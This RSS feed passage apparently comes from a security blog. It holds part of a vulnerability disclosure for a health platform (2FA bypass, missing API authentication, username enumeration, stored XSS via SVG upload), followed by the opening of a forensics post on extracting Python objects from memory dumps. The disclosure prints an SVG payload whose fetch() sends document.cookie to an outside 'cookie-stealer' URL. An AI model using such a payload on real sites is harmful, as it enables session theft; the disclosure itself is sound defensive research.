  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/search-users-by-query&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/archive/all-modules&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/all-roles&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/role/create&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/role/delete-role&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/role/update&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When we presented this vulnerability, one comment from the customer’s side has stuck with us since:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“But how is an attacker without prior knowledge of the application supposed to find paths like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/admin/role-management&lt;/code&gt;? You had an admin account, so of course you knew about it!”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Which is a great question with a slightly deflating answer: because the entire client-side routing table ships to &lt;em&gt;every&lt;/em&gt; visitor inside one JavaScript file, all it takes is opening the browser’s dev tools and reading it. No admin account, no insider knowledge, as can be seen in the following Figure.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-bfla-server&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/spa.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/spa.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/spa.png&quot; alt=&quot;self-assigning the admin role via the API&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/spa.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/spa.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/spa.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 05: Identifying the administrative routes in the bundled JavaScript file.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;two-factor-authentication-bypass-cve-2026-37080&quot;&gt;Two-Factor Authentication Bypass (CVE-2026-37080)&lt;/h3&gt;
&lt;p&gt;The application implements 2FA over a six-digit code transferred to the e-mail associated with your account. This is great, until you notice that the server issues a fully authenticated session cookie &lt;em&gt;immediately after step one&lt;/em&gt; (username + password), before the 2FA code is ever checked.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-bfla-server&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/mfa_bypass1_blog.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/mfa_bypass1_blog.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/mfa_bypass1_blog.png&quot; alt=&quot;self-assigning the admin role via the API&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/mfa_bypass1_blog.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/mfa_bypass1_blog.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/mfa_bypass1_blog.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 06: Fully authenticated session cookie after initial authentication.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;That cookie works on its own. Anyone in possession of valid credentials (leaked, reused, phished, take your pick) could skip the second factor entirely by taking that session cookie and loading it into a browser extension such as Cookie-Editor.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-2fa&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/mfa_bypass2_blog.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/mfa_bypass2_blog.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/mfa_bypass2_blog.png&quot; alt=&quot;2FA code prompt bypassed via session cookie&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/mfa_bypass2_blog.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/mfa_bypass2_blog.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/mfa_bypass2_blog.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 07: Using the previously issued cookie and thereby bypassing the 2FA.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h3 id=&quot;persistent-cross-site-scripting-cve-2026-37083&quot;&gt;Persistent Cross-Site Scripting (CVE-2026-37083)&lt;/h3&gt;
&lt;p&gt;The file management feature allowed SVG uploads without any content validation. SVGs can contain embedded JavaScript that browsers happily execute when the file is opened directly, for example via a URL such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/media/file/images/&amp;lt;filename&amp;gt;.svg&lt;/code&gt;. Below is an example of a typical Proof-of-Concept for the persistent XSS, simply putting out an alert box with the domain of the website.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;svg&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2000/svg&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;width=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;400&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;height=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;400&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;viewBox=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0 0 124 124&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;fill=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;rect&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;width=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;124&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;height=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;124&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rx=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;24&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;fill=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;#000000&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;alert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;domain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When uploading this SVG file via the file management and navigating to the upload, one can see that the XSS payload is executed in the user’s browser.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-bfla-server&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/xss3.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/xss3.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/xss3.png&quot; alt=&quot;self-assigning the admin role via the API&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/xss3.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/xss3.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/xss3.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 08: Stored XSS triggered via an uploaded SVG file.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;To make matters more interesting, the session cookie was missing the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HttpOnly&lt;/code&gt; flag. Therefore, the XSS payload could reach straight into &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;document.cookie&lt;/code&gt; and exfiltrate an authenticated session, with an exemplary payload in the following code snippet.&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;svg&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2000/svg&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;width=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;400&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;height=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;400&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;viewBox=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;0 0 124 124&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;fill=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;none&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;rect&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;width=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;124&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;height=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;124&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;rx=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;24&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;fill=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;#000000&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;script &lt;/span&gt;&lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;text/javascript&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`https://cyber.wtf/cookie-stealer`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;cookie&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/svg&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Combined with the BFLA vulnerability above, this also meant a low-privileged attacker had a path towards administrative session hijacking.&lt;/p&gt;

&lt;h3 id=&quot;missing-authentication-on-api-endpoints-cve-2026-37082&quot;&gt;Missing Authentication on API Endpoints (CVE-2026-37082)&lt;/h3&gt;
&lt;p&gt;A closely related but distinct problem: several sensitive API endpoints didn’t check for authentication &lt;em&gt;at all&lt;/em&gt;. Our notes from that day literally read “wait, why does this work without the session cookie??” It simply wasn’t being asked for.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-noauth&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/no-auth_blog.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/no-auth_blog.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/no-auth_blog.png&quot; alt=&quot;calling a sensitive api endpoint without any authentication&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/no-auth_blog.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/no-auth_blog.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/no-auth_blog.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 09: Calling a sensitive API endpoint with no session cookie.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;This problem could be observed for multiple endpoints, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/role/all-roles&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/file-management/recently-uploaded&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/file-management/files&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/all-roles&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/role/create&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/admin/role/delete-role&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/api/role/update&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;username-enumeration-cve-2026-37081&quot;&gt;Username Enumeration (CVE-2026-37081)&lt;/h3&gt;
&lt;p&gt;Login, password-reset, registration, and profile-update endpoints all returned subtly different responses depending on whether a given username existed or not. On its own, it is just a medium-severity issue. Paired with 2FA issue above, it’s a convenient reconnaissance step for narrowing down which accounts are worth attacking first when an attacker tries to gain initial access.&lt;/p&gt;

&lt;figure id=&quot;empower-trans-enum&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/user_enum1_blog.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/user_enum1_blog.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/user_enum1_blog.png&quot; alt=&quot;different error messages reveal valid usernames&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/user_enum1_blog.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/user_enum1_blog.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/user_enum1_blog.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 10: Differing error messages, valid username.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;figure id=&quot;empower-trans-enum&quot; class=&quot;figure-posts&quot; style=&quot;width: 80%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/07/user_enum2_blog.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/07/user_enum2_blog.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/07/user_enum2_blog.png&quot; alt=&quot;different error messages reveal valid usernames&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/07/user_enum2_blog.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/07/user_enum2_blog.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/07/user_enum2_blog.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 11: Differing error messages, invalid username.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;h2 id=&quot;impact&quot;&gt;Impact&lt;/h2&gt;
&lt;p&gt;Chained together, these vulnerabilities amounted to a full loss of confidentiality, integrity, and availability of patient data belonging to an already vulnerable population: viewing, modifying, and deleting records, and reading submitted (pseudonymized) medical questionnaires. All starting from the perspective of a low privileged user to full administrative access. Given that this involves health data under Art. 9 GDPR, the reputational and regulatory stakes were correspondingly high.&lt;/p&gt;

&lt;h2 id=&quot;lessons-learned&quot;&gt;Lessons Learned&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Authorization bugs are still one of the most common ways modern web apps fall over&lt;/li&gt;
  &lt;li&gt;Every privileged action needs server-side enforcement too&lt;/li&gt;
  &lt;li&gt;2FA needs to gate session issuance, not follow it&lt;/li&gt;
  &lt;li&gt;File uploads (yes, even “just images”) need thorough validation beyond the file extension&lt;/li&gt;
  &lt;li&gt;Regular penetration testing, ideally before go-live, keeps vulnerabilities like these from ever reaching production and getting exploited by an attacker with malicious intent&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Event&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;2025-11&lt;/td&gt;
      &lt;td&gt;Initial penetration test&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-02&lt;/td&gt;
      &lt;td&gt;Retest&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-02&lt;/td&gt;
      &lt;td&gt;CVEs requested from MITRE&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-06&lt;/td&gt;
      &lt;td&gt;CVEs approved&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;2026-07&lt;/td&gt;
      &lt;td&gt;Blogpost published&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

</description>
        <pubDate>Wed, 22 Jul 2026 02:00:00 +0000</pubDate>
        <link>https://cyber.wtf/2026/07/22/ehealth-empower-trans-cves/</link>
        <guid isPermaLink="true">https://cyber.wtf/2026/07/22/ehealth-empower-trans-cves/</guid>
        
        <category>cves</category>
        
        <category>web</category>
        
        
        <category>blog</category>
        
      </item>
    
      <item>
        <title>Python Object Introspection</title>
        <description>&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;/h2&gt;

&lt;p&gt;While preparing for a workshop, we recently pondered the question: What if we ever need to extract runtime values from a live/dumped Python process?&lt;/p&gt;

&lt;p&gt;There are multiple reasons one might want to do that:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Debugging a production process: If a Python application is misbehaving in prod, it could be helpful to look at the state of certain objects. Attaching a proper debugger is often not feasible when the app is running in a container, because the container has restricted permissions. Attaching from the host side is also problematic if (system) package versions differ between host and container.&lt;/li&gt;
  &lt;li&gt;Analyzing a malware process: Malware written in Python may have downloaded configuration data from a C2 server that is being held in memory. This is especially interesting if the C2 server is no longer responsive.&lt;/li&gt;
  &lt;li&gt;Forensics: If law enforcement has obtained a memory snapshot of a threat actor’s system, there might be Python processes such as certain crypto wallets. Those processes contain data of interest (e.g., all transaction hashes).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When working with memory dumps, it’s generally pretty easy to find strings - especially if you have a rough idea of what you’re looking for.
But if you’re looking for other data such as ints, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bytes&lt;/code&gt; values, or structured data containing a multitude of types, you’ll find yourself looking for a needle in a very big haystack.
What we need is an approach that is aware of Python interpreter internals and that can point the way to the exact data we’re looking for.&lt;/p&gt;

&lt;h2 id=&quot;py-spy&quot;&gt;py-spy&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/benfred/py-spy&quot;&gt;py-spy&lt;/a&gt; by Ben Frederickson is an excellent tool for troubleshooting performance issues with Python applications.
It can record profiles (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;record&lt;/code&gt;), provide a live overview of which functions are taking up time (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;top&lt;/code&gt;), and display stack traces including args/locals for each frame (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dump&lt;/code&gt;).
While it’s mostly designed for live processes, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dump&lt;/code&gt; feature also works for ELF core dumps.
One of the coolest parts is that you can run it on a container host and inspect arbitrary Python container processes, regardless of what version of Python is installed on the host.
We’ve used it countless times over the years to figure out what’s going on with hanging/deadlocked Python processes.&lt;/p&gt;

&lt;p&gt;The tool is written in Rust and contains bindings for pretty much any Python version you may encounter, ranging from 2.7 up to the latest 3.14 at the time of writing.
The bindings are auto-generated Rust code based on CPython structures for each specific version.
This allows py-spy to get its bearings in process memory in order to correctly access interpreter state data.&lt;/p&gt;

&lt;p&gt;As for how this is relevant to our goal: py-spy contains extensive logic for iterating over object attributes and formatting Python values (so it can print the locals in frames).
This is important, because after all, we can’t simply do &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;str()&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;repr()&lt;/code&gt;, since we’re not running in the interpreter itself.
That makes the py-spy project a very good candidate for implementing our object introspection code.&lt;/p&gt;

&lt;p&gt;All we need is a core dump in ELF format.&lt;/p&gt;

&lt;h2 id=&quot;obtaining-core-dumps&quot;&gt;Obtaining core dumps&lt;/h2&gt;

&lt;p&gt;Just use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gcore &amp;lt;pid&amp;gt;&lt;/code&gt;, right? No big deal.&lt;/p&gt;

&lt;p&gt;Sadly, it’s not always that simple:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Especially in LE contexts, shell access may be eschewed for reasons of stealthiness, meaning only a full memory snapshot is available (if we’re dealing with a virtualized system hosted somewhere).&lt;/li&gt;
  &lt;li&gt;Some people run their Python apps on Windows (an unfortunate fact of life).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There doesn’t seem to be a tool that can “extract” a single process core dump from a full snapshot.
This is something that has often bothered me when working with Volatility:
You can use plugins like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;memmap&lt;/code&gt; to get a raw dump of process memory, along with a text or json file that maps virtual addresses to file offsets in the dump.
But no other/tool library can process those files; you either have to view them manually if you’re looking for something small/manageable, or write custom tooling that works with the json &amp;amp; dump file.&lt;/p&gt;

&lt;p&gt;It would be great if Volatility could directly produce ELF core dumps.
As it turns out, it doesn’t take much to create a minimal core dump file.&lt;/p&gt;

&lt;figure id=&quot;elfcore&quot; class=&quot;figure-posts&quot; style=&quot;width: 90%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/05/elfcore.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/05/elfcore.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/05/elfcore.png&quot; alt=&quot;ELF core dump with one PT_NOTE and several PT_LOAD program headers&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/05/elfcore.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/05/elfcore.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/05/elfcore.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;Figure 1: Structure of a minimal ELF core dump.&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Figure 1 shows what parts are required in order to construct such a file.
We have the mandatory ELF header, which has its type set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ET_CORE (4)&lt;/code&gt;, making this a core file.
The ELF file contains no sections, only program headers of different types.
There’s one &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PT_NOTE&lt;/code&gt; program header that contains filenames for each mapped module (the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NT&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NT_FILE&lt;/code&gt; is for note type, not Windows NT).
The rest of the program headers are of type &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PT_LOAD&lt;/code&gt; and contain the actual virtual memory pages, which can be contents of mapped files or arbitrary data pages such as heap/stack.&lt;/p&gt;

&lt;p&gt;Volatility makes it pretty easy to populate those structures: You can iterate over pages belonging to a process and it will give you the start/end addresses, data, associated filename in case of a mapping, and permissions.
In terms of ELF writing, the most finicky part is getting the note structures right, because they have specific alignment requirements.&lt;/p&gt;

&lt;p&gt;Normally, core dumps would also contain thread state, detailing what values registers had at the time the dump was taken etc., but this is not at all trivial to obtain in our situation.
When you ask the system to dump an individual process, the kernel prepares the process by freezing all of its threads and collecting all register values in a single place.
We don’t have this luxury, because our system snapshot was taken at some arbitrary point in execution.
Some threads might literally have been executing on a CPU core at that moment, and “plain” memory dumps don’t contain any sort of processor state.
In any case, when using the dump in py-spy, this sort of information is not required.&lt;/p&gt;

&lt;p&gt;Next, what do we do about Windows? Same thing, we put a Windows process into an ELF core dump!
It’s admittedly a bit of a Frankensteinian solution that you would never encounter in the wild, but py-spy cannot parse Windows minidumps, and we didn’t feel like adding support for that.
The Volatility plugins for Linux and Windows we ended up writing for this look remarkably similar, because concepts just aren’t that different between OSes at the level of abstraction we’re operating at.
It’s called a VAD on Windows instead of a VMA on Linux, the page permission mapping is slightly different, and the filenames use backward slashes instead of forward slashes.
But that’s about it.&lt;/p&gt;

&lt;figure id=&quot;monster&quot; class=&quot;figure-posts&quot; style=&quot;width: 45%; display:block; margin: auto; margin-bottom: 1em;&quot;&gt;
  &lt;div class=&quot;image-container&quot; id=&quot;/images/posts/2026/05/monster.png&quot;&gt;
    &lt;a href=&quot;#img/images/posts/2026/05/monster.png&quot;&gt;
      &lt;img src=&quot;/images/posts/2026/05/monster.png&quot; alt=&quot;&quot; class=&quot;img-responsive&quot; /&gt;
      &lt;/a&gt;
      &lt;a href=&quot;#/images/posts/2026/05/monster.png&quot; class=&quot;lightbox&quot; id=&quot;img/images/posts/2026/05/monster.png&quot;&gt;
        &lt;span style=&quot;background-image: url(/images/posts/2026/05/monster.png)&quot;&gt;&lt;/span&gt;
      &lt;/a&gt;
      &lt;figcaption class=&quot;figcaption-posts&quot;&gt;&lt;/figcaption&gt;
    &lt;/div&gt;
  &lt;/figure&gt;

&lt;p&gt;Check it out in GDB (pretty hilarious if you ask me):&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ gdb --core=core.932.elf
#0  &amp;lt;unavailable&amp;gt; in ?? ()
(gdb) info proc mappings
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
       0x1caa4830000      0x1caa4841000    0x11000        0x0 \Windows\System32\C_437.NLS
       0x1caa47b0000      0x1caa47b3000     0x3000        0x0 \Windows\System32\l_intl.nls
       0x1caa4810000      0x1caa4821000    0x11000        0x0 \Windows\System32\C_1252.NLS
       0x1caa4940000      0x1caa4951000    0x11000        0x0 \Windows\System32\C_1252.NLS
